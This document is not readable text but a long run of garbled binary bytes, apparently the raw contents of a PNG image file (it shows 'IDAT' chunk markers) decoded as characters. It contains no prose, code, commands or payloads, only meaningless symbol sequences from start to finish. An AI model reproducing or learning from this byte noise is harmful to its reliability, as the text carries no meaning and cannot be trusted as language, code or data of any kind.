��D���y5�h���gڪ��k��o��g� q��ōr�m����9!�v{5'��k!�B*e�!��9scժ�p\��R?���(
`[�r�YQ�!m}h���M�XxF��T�
�,�<�`���8-Ce��ҌG�t$��n�`L`* Pi��2u����( ��]*�g�8$�1M�JA���y)@�t��u�(�Z�Ww_i��nh?�?�e|~<�+��5c�������__���l��*g�ʟ����A#�DI�-4�L���ٱ
�x�%t�lT*�Vn{P)���S/y�տBГ<0&��`L`�3v��M��H
IDAT�3&���Y��-[p�Y����.���v
nA����*Q �K7,=]I%i�G��L�Y�xi'�@*�ѥL%C�uv��9�u_Z�}���h�>9s�Y���
l���?�f㷮����"B�3��3~��+�'�˟�YTf��R����s��e�K�LB��҈oi�T�C�Gbܮ]�LB\�G7��OZ2u�$�*�FR�h�FD�zm� q��1�M�K�����^@�'ę~�!�5��c�a!��=�Qεm5;]s��g!Jംmy�y�b���T.:��sP�c����v�`��i��=���$%Q�TD|U6���!���<���pM�T*��銑咄8����6��0&0y(�-6.����D�����oF��9(�&⾠Obz��pL�oG�*��
�+�`��u�E7`��:z9Ey�����s�����Wl���w�Y��wu��0� H���J�UX�1�qr^j��R �1��b-X߽����,��� a牘`L� 0���_�ۏV&/
`L� 0&0:f��m���|�O���RY,li��>X���Y���@+��@?$őG7�M1��~N�mm��/�
�9ծ�s~�Ɨ��u�0*�������D��Ѫ�p��m��gPmZ���^g^�Υ/�Ѫ�w�ȯX�T�<�%���F�#��T���#��p$�EQd�!�(*�h�7C�g�ɼ?����ӈHTw5R�o~���hJ\=!����2��Y���K�e!���Q�c��H��3<�慸�`20
�Q�0k�b�X�&)|�%l)��2F��,N�ߏ�Vx��E�M7
�=89�#ٍ)aĥ�8a�l�VS�I�3��̴�!L� 0��$@i�ZP����T�&�G��K�Aߤ�iئ�t|K�X$��\�<؏<�ӋU�/��9��/��k(�~!�
�2�+�����j��{��;�����ٗ�tb���&�M��4B�P�$N�MR��6�
�Eѱ�c�)?)|���/�e����0&��`�!> �W*/`L� 0&P���:W��þ���y�S�tA%(x�B�
)$�#6�G�R�nB\Z2�O�x;��d�I$�<����{�5,����MH������7]��g�q�"{�J�%�9�w��ks�~��Da��&��ѧ)�T����r�I�K���LR�$��T*�dj���>J\r39R�&��XB܈�jx��Dԧ�6��)-#�6�F�=��� O�e��F�j�F���c!��ݲQ��5^;�?�}[4bJ�O��MH�N-�Bp��9�s�d�rx���߱��.[�GG^be�/_�;�G�p,ڝe59)y����$-Q!Ti�7��d��/��f�T�c%n���gL`r ���I��%m�竑���5JS�9ɻi�Tiĉ(њ�2�����Ŗep��<���|�|����]o���&���=qD�}�y�����U�^d��`x�"�j��)trNJe��d��6}7T.b�À����-?��_A~���
��5��GfL� 0&��S|'w?]��XL� 0&��@}Z��q��?�ͷ>�}׆U�]~.RU t'�����!!�\r�)�J7��^��&D
^覿������O;�՟8b�7��g'�$ODL��s�{v��s���6��u�=K�I�{��b���!�
q������w���شLj*{��%�i�P*����[_F�
q����}M�K����z��X�]�,���M_S����9o����Foz��in>↷qˈ��"_(`���h��J��+X�@���F���nt�#���r-(W�۱9����J�>'`�h�tj$|h��I��t���mJ�����[oj�摙�c�U�x)`�G�L*%�o�D��YJ��&����1�& WG!Z
-ƫ��e��O���/YG��f�m�s�xuqL`����;_��w>Т�ϭ��L� 4L��r$��ER�I����H/va+�~��.7��������%�
�}�e��1�L� 0&���~N����|��1&��`# Г�%�w��?���'�:���e��c��"@Ṕ!�m�R"Ƒ��.x��ʗ��ȵ�J��y�\x�{�^�k!�N�U��<��
����C���yUg���6��"�7��>�u/��Kv1��A����r���$�GK��LDT�M�T���֔�(�F��-����jR�� q���pjԸ)o�Ր�VDK��n�QMB\��{�d�Q���cϾW#�����ͨ�3�&9vB��D�
Y4^5�/
)�;�F۫�x��M�v�[nR3��*A7���n�U7�J�9eb0�3����Q�lttuc��Q�,���w
R��
Vx}8wi���N�ؐ��*9h��C(�Lj*���J��
f>���2�tRQ���g!nf||�R2�}�}�)�Z2���(!��8aԢ�W:f��Xg���8J�W�\�R�--�A��\B�}zdKY/9��f���O�cѽB���'!p���4$���V�<u�;����Ԧ��K�eL�;Fʧ$Z��V��z��$>�fN��.O�a!�l��)*�*����������w[�q\
��E�`L� 0&��G��6��`L� �D$K����o��_��.�:��D]����đі���t�!}��d���e2���&��,䢸��_��W�x镝X�'Nd�8i����9O��wl�ձ���=
#ݛ_���w^���[X��8��6����W\�5�K�V���)�J�c�شi�0JʨVE���4����[�"\��\ʼ6��n��>��H�c%Ǎ�*7�}˪?���!̏�g��)}�&.y�>SG��NO�)S�r�7���m�OU��_uܴO��w�n��M�<��B�X<S�2�G�\��K���kߪ��/�V;Ns��p�&2�X�!�p�pig�g�zR�R¶]�1`;y�2���\8�s�h�2��h���qn�Alk�`��p�G�v���
�e���Ta��Hy����'���)Y�R�H�C5.)�;<~*���t�L�2��N
U������5}@++�Їr�U�'I�� ��ј���R1�.g~�>�E����,�GNwf�&�/Hʦ>}��_}����GOkq�|�1h��r9xa;���Wz@@�7,S9-ݾ/,�a� �L��p��]����<�l�F�5�٧��W�v�����7��1&��`L`_&� q����1&��`� *������W_���\,��TP�ð��k�R1,Sr&)����t붚l���I߸��݄��W9:WR��[s���_���
b���{ɟۥ3B\���\��o�m���.���R��-{f���_�ug��/?��`_j=��g_�+.�Z�pX��NT�X
q$)m�q4�
hi"�h��X��x�Yv~c���J���Ot>��|#�S�
t���!+��Ba��Fx�~~J%�[���l4���vkI/3}�~�G��W�#
T���p�N_o�������&����>6�8�rl*G�I�#G�AHd3϶Q,��o��6�
����Ⱥ`�Z��+��K��>T<�;����k�R��x'�`��$�`�mX#��F��8L� 0��N
��FUe`�ȿ�P�(:������Ͻ���n�7�!~Pg��u�B@띋�}��߾�
��4��v
l�
�gNM��GXaU��
q�ǥס��e�~L%��#)��`��pW�8
Q�H_��-;�xꗭκ�>~O���y1&��`ӂq�b5q'�`L� 0��&@O�b�Aw<���-�绱jg/��A��(eE�I�M��L�("�M\�=L�IIB�c�I�_l��y��=\��I�5�'B��s7\�o�j��룻��k����'�]p�����0����~O@k����>x9#��@YT����Gn�Lݺu�nB�o�j�Y�w
�V��}}��[9Y�*M�Kī�k��G[���-cZ25�R+�L:YMJ\���
�|��8z��
�$�f(5.�>�q�D\��LgSQmD��L�]��MR��l��,�L8ˤ��KaKYL$Ym����;�D���tc�o��
_�����[J�eK,������0P��|H����6���[|�X���+��x���8u���ZzС�W$l��&m�����s8�`3��I¬&^��$L[��, r��C��h�w,>��k1�-Bt�I�xY��sE@���v����w�-�;�K��P*�bʂ��U��k�@l�l�&�1�\u���g $�o����=�G\�a[����/��b���,<�_�?�.!�쳋�cL� 0&���^"�B�^ϳeL� 0&��>�mz[���)߽�?/��ЙhA[�Ȅ�XZ�RT�������6"�漩F�7T���~=�ܤ渲Pn��z��g^z��[/�H�x��T��t�������c:uO[Kns?��M�v�|J�5��牦#ĕJg�]�zB%�Q�Z�\���!��d"
Y,+�վW;~��z��{�ײ�'"�5җі���4�l(���i,�9�:�y���(�Ͷl8�c��RB\*���#J�RE�86�ã�љ��Y�--{[+��~�$�i��k���M��-��MgkV$m'���4;��8:��r�U�M�[�I�J�\�G�RD��rX��`��v@GeQ�`96tԏENN]P���%��3�"Ю��!0�kE�����l�;�`3�@�GZ q�g'��p@��maaЛ��u���⋿��A�B��$`��L` ������k�o/=z�os��#�%rT�|�0g��<%B���dau��r<�X�0��8F�t�2�|�*E}�-��.�����[���i�B�gL� 0&����t�7&��`L`F(�ҢM�}�\ۗ߆��9
����r�6�
�I I7p!�,g����%P����m;Vu�s���Kڱ�Gޢ�E��q�G�?}͇���q��%4BܒG�����c��O !X����h�T����Lk����&��k�e���===#�8Z�T�-��~�%����Ms��:m#M��1���7�X��G7d��Z�Ʀ��TZ���hH���<��fkk+,�2�_�m���~�x���]&SN�Rl��N[!.��z�ߺ�[�$C
�L�]���F���R��6To�����t�iVHm~{�N3ӎ)�U��i�a��j�u6m7ʂB�p|Q0�|���a����G�-��X�7�E
G�D[�1 v�ˊ�6�0��,,��X���͒�gL`�Ђ�.-�$Rу`
�
Q�Z˃�k�2��n�ѯ�:ж�K�Nӕ���ghM��_g���/x[{zN�;��5�Z�'���6�[l%�K�й��g��Tw�|k�=��e:�p��ߪvD�mkN�yn�+?,y�%�^;<?&��`L`����鲦��L� 0&���sB
-�z����?��"�Xt�ɩ>�+�̞�T*�eJ�&@@@k/�z��'�;��XR�@3<I����Aߟ�<��t��W��^+��H�[��Ϝ���P
q3d��
q�0B ZRK#9Q��W$��ܾ����29��
O�
q�6R����*�����f�mV�o�z�X�l��L��55��Jz���Է4�R���)i.����gªި��ْ���i~�z���/�^-��6�Q7�l4�-���!-�
H�(���-�ڌD6�n9Ym5�Έ��clg��y<!�$����9�p��J�s,*�J�Z=�R�
���;�,�(��by45*q�^�1��#;��-���ʈ��$l�(�Ȃ
���kˤZV�$�x�}&���~D��H�I�=���8:S�T�$���xs��s��=�e��<��B���m�({������w����ߕ�]���'�4�PC�����.=��B��Yi��\�e��y��F�uEt��-����/�������}d�q7�`L� 0�}����'Ww� 0&���JZk����}jc�cB'*H+67�ݴ����2��ֲ7��h�������t��.~��y9��˥��M����|�/�]ަDI�rGn�#K/��yXt q�ω[�H�+�³>t���4��dH��H�ۺy�R?�q�X$EQ�c�����)���&"�5"+�ٚ��Q��v��%�eǭ]�T�J�BaR�Hv�����mh�4a-���o�L�\��V(K�F�i�IMI�t]%�6�ײ�e۪]��㍽�H�K��an�']��?
o�4�H;���|�p�fh���z�RҤ^�T��P�*��;:p��E�{(Y"�Z����"{^�
����m�.������Z?�O�roi8�$�b e�[�Y
<
`L`�
!.9����*q�=��ГsA��P�o�.�W�f��ozr˟�| � 0� 0eSw|�~�Ӆ�SGy�%�ֈ�MO��ҨI^� q!ՓGr�BOjrB������3I�R�Ƀ]�Pa%���������k��>N��V6/`L� 0&��+��Zn� 0&���N�u���/g�xۗ��zVGn9�Dr�ݔH5b\r/���� L�mK���Ny�헜��.kC�|�i"$GN�q�.y�������D 9�-���/��,8}3��{�y���
qW~�C�!�%"LZ q�7nB�TjH���'T�υ�7���MS��$q���E�o~.�\.g�ߨ��P;5���v�86�f��Rq��%�.�R�.�a491G�ݓ�Ɣ�j��ˆ�x��:]���x�@#�Ϟ&��5�F��σΤ�l)�?2�'t�7MB�$�i��cɜy�{lK���r�?���
'.,�y��g����6Ӗ�5B�±�"���0�|cS.�/�5�-�8L� �?�G'?&�<)͘>����6�t�ё�X��
Zt̳]���#Xv�υ��m���K�������Z���LW��)G(Æ�:��t�+O6$ Ovr>�I�B�ԯ�}j�tl����c�
�A��m�_�c�U��~���O�2�`L� 0&��+���J�.1&��`SO��^l^���~�{��eo���q�PKx���` �m�P*�M�lɵ��-�q_&@�I$6�rE*X҂������oE�!��y�8��}ߝK���U?�7��Vʏ��W=��_x1Z����'�w�Mi��g~��zY,剔:f�K����e��O�&U?U��O�$�5�~���q�8�Ӳ�l��.�gzLJ��|�M>��(���}#�Q�P��HH��jS�j˞־O�N����ȿ��j�j��z����7R�˶�e�m#-+ۈ�6�:Kd�=��3����͎ul�m^�dJ���
b*��x�c�E��aْEp-Q�q\@�����l��]�p�t靀��Zt�XC( ��c�Qq쨼=������5�������0i�C�Ѓ^
���+��JSr�)�NID6����A���f���נm��B,,�yO�&03 h2���[���O��v��B�(Rb���V��B\l�8
WZ��LzP���J�6��6b�h't~Vi������o���!zg*^n&��`L� 4J`Ϯ�6:� 0&��`�8��"%�m��ɷ���Tz�Ē͖���ذ��9D:�拒��ݻ�K��Z!Ύ]��ߟ}��^�~�5B��4 ���c�oV=�?W���e-��~����y����u�\Fd@O�&H�(��ؿ|�2%Չ$�R
���E,K�I�Z��Su�8ZT�\V��<������O��"�''�+,�#�e�R khYH
t��r�$
���o�C�
p��F?�;�C���<��r�i�Yi-�b����X�^V&̎7,�%ex���&�hlO�jf���մ
�p���y�rP
b(xX�r5��1��o�U�raE�,�|q#^�8�s�]��~��J�ٰ�2�WVҮ�
IDAT=�mJ��B7�����t(!�o)7���L� ���U�)ј-#��t�T��<h�G�,w,{`ֱ�Uv�-"����/�;��<{��;~��7�B�і�
tr��6�*���,
��<[GR���^{�3����\m�"�(u��������7���ݏ�Õ{{��`L� 0��@��K��a���L� 0&���8�{�����s��Ύ��j��<Q%B��GE��,�M��>em)@Z��5'��-�Y�x��.��y8�VN-�����`���=v��7-[Te��{����,�M���
qA����e�B�E$��ơ��H����A����nhJ��vj��F$�F�q��!.۟t���P)�Y�4��d�X��t�⺺�L�eV�J�#و���h!n��g9�n������
����&��-���f��7nD)n����bp��G�����נ{�<�N����1؏�|9-�/oCw�,NZU������
Iz�XT8ʲ��gJ� SH*��cJ�3�e�5�r�fn��������j��j��$�
M�FKR����C�:t;ռo�w�;�����bEe?�����
S6u����kV��O-�D|�輱��(��/`+��kO|��WV�^���$��mу��}C�؋�,�[�D}��`L� 0&0&�xaL� 0&��@�%�ظ��g~����YX�[��{�,2�-J�����'��
L�͖�s�ց�����K��"���'���[Z��/G<z���[=��GY:]ѳ����ϝ� q��y����v�@��#W}�2��I�z���1P0e?�0I^}��رm��WOt37�21�'��K
ˎ;�HT��xq�2%\k�C2Ip$ұ��ײ�D��R+�:���F�
����D8�6+q��si���){%[G]�U1,��t-�JPtZ^7s����G�4%O'&ԏ�]4�o�i;�N?b_��B��w\(�p�����
K8�$*
��
Q��DW�4N^*q�<��p<�(i���6m�"���F_�'!E���H�c!��m��cL`?"�
qZ��{$X��7�EW��xI���G�h+9�p�O�����p�E���?�GTxQ���������7�����
z
�(!N*x��yh��{$ �T.�<� ���*3���
%\�-����=�K�qܝB��̣�K��`L� 0��`!nb�x*&��`L`?&@������Ջ���W{�^��#1Pډ\����b�~��'e��ԥ�2y�(�����מ����E�ӓ23n�����nq��"W�u�;;��.�з}�K�ΰm���x�'?����OM�X�IB�N�~nټ}�� q�+y�T#�xB\���ꘈg��Q�8z}����F�:Y���F\{{�����HzK��R�.[n��;�G2�N�O���ղB����k2!.m�Y��n��m4;}�������;�(8�H��~�A9D�@�~'�qqp~f���&�ͤ>
�Ce���dC*��2�Tz��7�ɍd��+3�ȋ���'`}T>Z��#�I�X�S#��J�q�r�6��7�*%+j��_u�w����XX��4y� h�iY���\~��g��lہ�t�"����+�&9wq�>�'����i�zÎ
K�{����ݛ�T�4_��}&��`L`J �7��yfL� 0&���t!0��ȇN��֯���qr��E�L�
>��.�ro�3+���i�R.�s�kO��ks��%�z�F��y�Bܓ�|��F��sfWv���5o���8!n\�c/����������(�L q�/*�����)�J]!�Z7�n5��^�Y:N�߱~�}/]�z��h�)?c q�|$��$�Iq�셖#��u��KX$?4d%�ڔ�t<��SN�7Z��a�܇���F�r��ؘ�C�B\v�f{"s�B�h��D��Ѷ���]��f����@��s�{>V,Y��\<��`�~�3"���,c6v┃|,�c�ނ��9 �$8I&��G�$%��&��Tv�n
k�lGb\-h"�&���aL� L[ڔJ7�`�5"�3���4��T^Z�R��
v[PB��<Ճ�'��^���3�%�k�bc�n
��L@�N�ݫ���7��m�Ʊ��@L�/ch�z�B�p��h`!n/���:�P�tOT�2{� ?-��O�[N��`�v�g��`L� 0�iF��N���eL� 0&������з�/[~{��~wݻ�BOw�tc�U,E'y`c
�
MV�,K���ԏ��\�� _Ȝ��'�xē�|��Eѓ�\]ѽNw_i�Qw.~��^���BEMތ��}�@��>��+��k�
�]�AYL�ؤ�=��#��x��aq5]��
q4}#�q�ԂO���#�NZ2��������@[[�)�J�Eq�[��ھ�1+M������PR\uSq�vY���{?]�Qe�����cB\��L��A�:gc��N"�FJ��ځ((!'8����^����f̲����[�P:�p\�ʇTlK��l]�c�>����H�0��I峤IW�>쁏���cL� 0���G q&1�h6IR�6��`����8*H��\�#�|��^�Q,�?�����?�9�V!ְ��������3��o-T�=K([�M�����S-EB�m��d�儸 ��/& D[�_yo����kn�XJ�/V-/`L� 0&0�X��B�<+&��`L`z���ز�'���o����upVd����GB�J�z������k�C�\��=?�;����z;|*M��Aʔ�m�I��R�^z��O���.,�-_��o��'B��\�U���\�!D�3k�Zr��s.~�[���q�8��1��k����^�~>˲-H%���6z�Ah*j�S=�E%G�2B�о�)cZ/���xɬw/�=�G)/C]�}:��H����D>�7��r�Ԟ��\l�L���j�-�6)1�Ȃ�����t�I���ɮ�T����U�e��g��6ֶ4ѝu" qtZ����$�C�����h�S��,�
K�"B�
�*�D��h��cmK��)bMk���<�XY���X��H研GP�QW�(��|�*�u��TS�(�OQl���X���V3ͧ�n�渖�&�2�������2W��suۛ�e��yf2��e������K�L4�I��%�w�8\rx��Y!�$8��@�(�]I�BDu�!m�9aaP��]��g�v�w�O��h[�#��� 0��hM1��_���&o�ы�.��aNP�||�ؘq���&�V
�t�9���|���c:5g�U%)��IsMu�G��2rr�0ѓ��$ٸz�М?'�I�TJ������`�1W��Tj�Ry`L� 0&��h��Į�4�<���`L� 0��M@�M���t�u�}��ewۺ�5�W�#�#P�E��wZQ.��ʔ�t���(�A%/��HN�+�T��!L�-�\��^�4����A.)�X��\q�W��o<b��_:q���D���v����k��O����7�_�Uzr��P�;�G�>�M���
���{���^t��<�;7�1T'�L�e �c���F`��Rً�T��ֈ�.�h�R�z��-S�Γơ�Tɡ�eۥq�~S�)����ՔD���[�4�>�ov���\O��}m4���C:��Ɩɸ����h���{/'�e���eȲ1�ɐ��+՛c
\��'QNdwj��Yg����m:��mH��~+Xv*�ِ�Al$L
�m��9s�b�e���\���C�����{��u���Z��6�H3�,ɽ�.W66ظ�J1%��n �}�\�?��]�} $
p����T�{��ƽȒm�6�ѴSv[�|k�=s4�dI��4s�-��9����^g��z�hGF�%�m�W�l桵GI/�u8�Q�Ɠ�!ݮ��eBf��w^M*�t��,S�v?[�@��l�I�[��O����6�;�l
/ճ�O����8�;az���V������M85���5dl��BYz×
Ա��^؎z;��,��;d�ϑ�{~��%L}lf��I�E��ެCUVlM��8�!t��n�oy��$��>/Ģꁰk\V`�)��@?^����w~<�ґmE�rXAR1�(6q���QK�iK9M{ڵϖ�
�$W9
��"k��HM<2-GS�`�8����q�Ӎ<�Db��6��
;�C5H?�(T�N^W���Cϸ�9�o�[��p��6p�YV�`XV`)��Z�W�x��+�
��+�
���r^nTk��[��A�#=y$������j��
����AG�FIq}��}f�8������v�K�'l�=x6��'ADϫE�$Dž*�4�\e�S�8���px�~&D��������֣�x�����~^���E�1�m(�;���}��k�:�����'/�ѭ���ֺ�b���H�����X�f��Nݕ�)�#@.Stg�\�r;Z��9�e�Ӻ�<�#[���+�"�Ѳ�Gnp��?����N�;�l�|��^3qS�G=��T���M�d��ٿ'�Ɍo-�c��l�
�h�u�Z-h֪e��-]�bk�t�Ai-!r��IFQ�i���~�C�5�Զ�Qx~�8EJ��=$����S�C:s]�Џ�Ôu�K4��ԫ���,$f����
��{@�5g�����&�.o:��1��Q|��J۹~m�e�S�5�q�)��+�ɤ��$e�9���h�����͍����i���⡶㮺�{���U<�dn_ދ}�}'����Պ{�^��:���mm�[���<�jd��N@����Y�]�o�)�
��q�@˞�W9�P+r|$�J3�o�v[#���r�*Q���a�x��ϑH�r��ȥ"��r�/�}շ��C��
�YV�`XV`�+�wObf�n���+�
��+��
7��Gݻ�x��{�H
�N�r�>�X
#<���E� 2������V��ܡ��G����h;V ���RSǢ6�)�D�*M�wq�h�=��/����)��õy���yx������|�����@ܯ���g�J�{�wO^�����o�4��J;J���
`�ƍ@\w�cS�2`G�o����i��1
s��q0bأy� @.�����F����d
�V��u��z<��i�O=fw~�\��:�M�O����,�c�#���$\(M�{�
�}
,�a^{^z0�@��B�&в�Y��#܀3����E)�rC�0�8QpR� ���
\Z�;g�����nW��m��(��Y��7������㛍��L�a��&���N��u���!�4[d/İ�LjofN_�[�pC4�@����
��͒6���M�DJ�:�enxv�,�g]�l{��M����N�"�V(c-=�����_��Ϣ�臄���;�g��Z�<��V}����t�;ےuN�+�5Ťzv���ͳ%��u\��!�&-c�g�86��<�2sS��� ��IG���M�iB<��@ƚ1I�Á�X�Q9ڸ&Ӏ��j�|[����Z���_ǂ�
�c�)��4+�
��+�
L��M���V�`XV���
lқ�yT�����vն�^��JUC�A)A5,ÑEP�(�t$�h���!�,V�Y`nW��C�vR$ u~Z
N@Iz�)�(���u..�v}�
�����G9�bz��[��߽��o�7^O@\��@��J=k֦����~w�����$�V�q�D�&ذa���F���M;�v��2�j\O�{L�h^�'Ix�g�Ee�c��np�joo7P�h"�8Z����A��a��z�D$��eua{w�7��xJ�'�n�:i�l=Ԟ�GN*
�F��S��C��D!��cX�?K,�R@�8H����n+Te]�0�\(�y��L�@�[�!ux��
����,��W�e����r�=@h<��3|-���Qd�9C�����m�nj��d��W�h;��`�&[f���欃[�mr�3�z�\�©�Ʃ��8�����0�:ħ-8A0��ݚ��X>�������ڟ�#H�b�h�)��N��ܢ��{ϸ�S�Bq��~�}c���.�|hF�$�p�E3�@Ecp=��\�-�q�� �w��)j�^�FeGzV�A�o�u��H�P�.j`L�i]x�k��Pp}��:
��-�������w|�������
��+�
��+��
�ƣֽ^7/�
��+�
����R`\���?��[����Z�;�jq�P��8R9�#�:OP|j6���&�γ9%O��L��aFZeF^[
�>;H��\�I���qU���I.�����솜��Rӈ��v�q{ý������[vg��L�G�ڌ�z��O>��������Z�ԱD����Z�
���;u�3�JZ�f\j6_�뻊P��N��D
����L��&v����83\c��T������9����$�v�q���Ԑ*40�K��" ����CCK{"!M������a
r>�p��9�8�'F[�n4�Q�RR�_���H�jG�6��'V`O�Y��Z3�ov@ä�[�;��c��,R�<E�sJz��2ga�&9[�:�F����b2矠vf�6]/Gx��7����T;wv*M}0\�ʼn����D��E�y�ٯ�q��*U���N�{k���U��p��6������?
��T<{R��+F^|��`d�Q���Q�*Q1\7&�OĊ\v���p� ��bv�9��O�mt6���<<���J�~���`#�#�.��p�\��t~4�9��e�ܾ�ىs�1�*+�
��+�
�-��[Ǔ��`XV�`fP�N
1����q��7���6�W��;�����ur���\H�5K
Jgv27�i�Wm]8&�Uu��!�}H��`�A����Z-iѽ�.[��XXZ��VѺuƋ�d0@��}����Lw����&;�;�]�u�+V���n�ŧg��!V�X�j�:�ĖE��**ugq�����1��16��7z�g�G�9�G�p�e���e�2�;���3���f�CՉ����c�"$0p�/��R �/A1ߊX�$�t]���
�Hu�2���
N[�ℎ!��Q
�AR�@L�`U�W�Pl���8�1m+�X�=U�lTwM|���L�=���7�<�Q_T�h�l���@���&8�%���z�˞={�KK�C��BxT���$�f߲}����q���;g���˝�l3&�����~M���G���
GQ�Z��16��}~��8��B��ټo\vV`+����<6Z�����^�o8ԑ5O��P2�E�r��L�u=2�bsm�����9��H%�Ԧ� ��a
n��,��X�6���^^o{@@�AW���Aݾ|����"�'�T��m��мQV�`XV�`��$q�P�V�`XV��Y�����~��O>��׆�P)�]�H�0I��Б�d��$���ѹJ$�C�8��ݙ=P3�vr������E���:�QG���E)Y�+�HE-i��^������-�Ӵ*`�����>�}d*;�M�гheZ������o���K�4%�*@+�j5<���&^4�&�UD��@8��T�\����y�� nkt����yJ�wuu����@q��+��
8�����5s��pY�������;s��,ظ����۹�)ɧt��vU�]�NNN�\|�cm�P�k�J�!���N���t��o_7|�8��9�h���V�Z-J��8�,�t\H)��!
>��֚@ok ]��8,��-���q�6����'�,�ߎ�#M�)Q!4
:�l�+��
X���]��,�M��[�gߧ�u~�N<�ks
IDATp�m��fѤt=0�!��/�֩G�k��C.�{
$PY H�Tj
�:�F��l�)�FmT�7.A�\��i~�^�RjzY�;�����cUiG��fO��\����8�<����b�w��u�ڏ�GXz�'V��K�S\��P��C/����~�u�Q�mW���;��uý@�p�g{�H��Z�[���u��}�ݳ]�
Ś,���ȴ)��ϖ��ڻԦ���.�>��@�6!�<�}_n�"+�
��+�
�sI~�8��&�+�
��+�
��օ�=��{>�7ዧ'��=�HT�J%\��c�2'��Sɂ&<�H�c5���¢�Bd@=�L �Q@�"�
��CE�\���������E!��<M����M�Y{�v�}��*w�M�ܳbEZ����������E�q���'恠�{� G�̡�`���E��#8����g1�ij��<�50Q�X���
��6�[�\g�i�:5:�M-G�Z�82uǧmc=}��3H�S�=h�
�`~o/���C-��u��+�&W��:�.�Rj��;��Nm��@��n
�1O���g���$2nq��A%��Zlj?߱����
�n�>��4Im𱺋ڄ�Z�"B����[��@��A��
�V��]��͇�����ѫY�)�Wt^(ϼ2P�~�p���a���|t��g]�&a8�Zw������租<5��W@�2��)#�u�r��_�����7�*D�`3���
L�Z�c��5�]4��~_�V/u�I*���6�~f��t
7���5R� (��?��M�ڃue@�7BQ�q����q��"t۷D=�����+������yVV�`XV�`^C⸊��+�
��+��
hM�$C-���߽�_>4�V�$[��4���kE�
���)A�c��Ҕz�p�<�������q���3��g�@�N
�*T�6�s����?�����p`���*��nxϺ���3=Ѻ���ew�~�K`
nn����u~�֑3��k_�G�u�
�\��8��訉L��E�R���MߦiY�iy���F��6�E���M�>�p�W*��C\���
���ؑ��;�Y��h4�d��^]�=s�k\>�O����Α�vS�Cu02@����
Q���tR�)�v�b~�B�q�#\GJ
2�iG�(�c�GqLg���W�%��蘸q����uY5�T2�&W]�Ģ��R�}��;�@�g�6f�� ���o4YN��N�_R7p29Z
��C��(�=�ɽPAH �E5�.��q���ӭ8B֛��!*�N�w:�$�p-��fЃ�ސAo֟Ά�9�)
r
�05�F���IP`�A1�q��'��x�@��v;�(7�.C��4E��V/�1�a
�9ϭ:���2F�=]vz���so�����ixҜ5��zz0Pa�C,������c;���G t�@S��uQ�b�A��փ�;����4
.0��1�\���--�mw���@X�
������}CԊ�\�ʈ����
�-��mC��n��`XV�`XV`�`
n�t�XV�`XV��N��ƦE/
=���Ε�7t�Wh��j�>uz�f��錂�w�Iz^ �P���R�F
��9(25�Zڵ��*���0œ�\Թ漓���Q���Ct���>���@~s���;��>,��گ�j˾��_��j�z��8��qLblk��K̀�Ah�
�1��.[@D? .".C�����
�78��Z[[����|�\�y���W�m�@�����իɟ����ӫ��0�E�f��=�(�L$j�ЂήNtu�!_,"�.�:�I���c�xJ��A�a�q�/������
"���BqT�),@�����[ �р�ڨȄ���=̼\�Ս�����w8#��
r�I!��V��k�7'
HW&�5G�P<��"I�(D>��NS蔢IiPLD��kg�#]#Gۣs.�Ԟ�2`N��*6��AԣX�{�ztoq v#�N)hr#���A:3`'h5�G�Z�C�wB��D��[�q˳/j�Z'�,&U#���90������D�����[.��o�� !�+�
�n���
��U]3���9����-:�p%����5��v�\��%h�Üt
�\K�6��
��4�Ca�\E����qeT�]z[��|�q�܀C/�в���q⭲�+�
����U�e��c�{�
��+�
�3���ګb�_<�������;���B�E�G�
ұkP��2�q���љ���������!M]y��r���ю����[�3�B�f�dͼ^���x� Z�c��w�����r��"����+Wbhh�qqO�kS#Sw
]�7�U�A�>r
�)s�j������]���0��e�����q�M�ܽj�o�H���q�U
q��zyqv�t����[�=-th{[]q��6_�Be���sm�P�ax�-b��u0�Vr-���#�;�&�.���vB�Ӊ�xb�J�[�����Tr�3�kil�8S���I�F�i�(�
�\Ha�Fɚ�3��c� Eҹ9]KȰ-��U������TF�W*'�M(�T�N�d*m�����/����*�(�]�X�xJ�4�C�������J����k�#g8�OM ��Ss2��#�F!��X�z������ԜR%�6��P��DX�S��K�����r��Lkz$��s?���
�:�Gs��ۙS@k��<��|`�ݗ���o�G
B�Ԍ�XK{F��!�k�Vnh6�&�-g#������]�Y
I5
�<��m�|�̙Sy_�1�:&��{m�\s=�[!D��J��eXV�`XV`�*�O���bXV�`X�}��ֺ0�u^���жd��7��qFh�7�)�(�K�S�@�#���ᙁ�4qrr65���.HI*��\��m(��8W]���/�_��t�&��iV���it����r�ͯ}��j��4M�J��`���z�tBt@��i�eq���k��Җ�2��,�4s�u�D
n47o�|��y8�k@#�,���mN��/up17��4��Lq���<g�zF�@hN�p�s#�蝷mmm(}�U#���Q�T�"�:���
����z���l�7Y�Ono�ƞƎ�2n\o��&�Ҹ�9�B0RhI�gݹxb�J�F
��6��D�g���0z��R�W�t-�Q̑�]ߩ�$'u�
���h������RW���-�/�2(
u,X���t/x^0�Ux�\À�4M1؊S %�"t�Cm�Eex����۶,��.�FZ��p���yEO{"��BE.}�N=(��F�HD@�6�i�π؎g�^�HA��Dˑ+�1\AP�Of��O���N�G-��
�O�0�vW����y�_
8����|u��x���2���x��K����|tT��A*r�F�<��b*j_�'��6:�:|��"���#l7sGk�k���$��4E���ւ��p|
����-��_��
�!�Gy��+�
��+�
�u�I�\?¼�+�
��+0�
l�[[%��ƭ��3���V֩P��r$R�P3$�@
�rc
n�ʌm�� r��,S���?pPd�a`�|�6xP��_~��}XX��Jf������-���C_z?�We�gB�{�Z��g�y梟�v�_
��d��5<���6VN�Q$dU7�-k�Y�e�g�r�E�TD�XԾ�>���C�A=Jo�e
^"�C��W;��ݙ3��q{�x۬ƾ�z�փ�<H��B�1qde����:4�lپ{���i����r�*r��G8��Ջֶӎ�ib�7ڕ �
L�'z���(���~T^ޖ:zt�( $*�c�kr�"���!$EU�]�(ZR�d�'M�*�I�27]����c��#��Y
�ƥR4��#������)'�r�M�X"�f"K'�k�'QK�έ^עU~ǂ�K�}�}O��@�c�!�S��Rl:�Nk�iɄײ�ɞ���k�m#������D��j˟:<�xLuh�j|K�.o=RU�:}%_9N<�J��MK��q��E"}��1�
����#"���.���|
�`.���%��^�D^Ke��'z/��/`�I� �_i>qx�Y��S�Bq�:���3^��-��9#������ �A��)z�5�*�8:���
,��3w�v�fr}uE1�����H(�=M筞�՟D�ɿ��e���u�x��+�
��+0�` nN^�9V�`XV��
